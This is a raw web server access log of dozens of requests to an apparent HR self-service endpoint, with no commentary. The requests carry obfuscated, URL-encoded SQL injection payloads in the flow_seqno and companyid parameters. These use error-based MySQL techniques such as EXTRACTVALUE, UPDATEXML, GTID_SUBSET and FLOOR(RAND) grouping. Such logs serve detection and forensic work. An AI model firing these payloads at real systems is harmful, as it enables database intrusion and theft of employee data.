100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a717771%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34476454%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4e687933%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x685a3354%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4e687933%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x685a3354%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x30735943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x637a5250%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x30735943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x637a5250%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x626b4965%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6c426d%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x626b4965%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6c426d%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x48346961%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63454262%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x48346961%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63454262%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x33513064%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55324f55%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x33513064%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55324f55%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x62416536%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41464845%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x62416536%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41464845%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x31626254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57554458%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x31626254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57554458%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47533670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71683975%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47533670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71683975%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x48623944%2C%28NULL%29%2C0x786e4567%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x48623944%2C%28NULL%29%2C0x786e4567%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x74745353%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f787538%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x74745353%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f787538%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4934434e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6643417a%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4934434e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6643417a%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x486a3852%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d304544%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x486a3852%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d304544%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x61414f6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a306539%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x61414f6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a306539%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4235626d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71796156%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4235626d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71796156%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x49443552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a504247%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x49443552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a504247%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6a6a5661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644b6849%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6a6a5661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644b6849%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x684c3870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52453274%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x684c3870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52453274%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68697071%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52326463%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68697071%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52326463%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52483735%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3573384a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
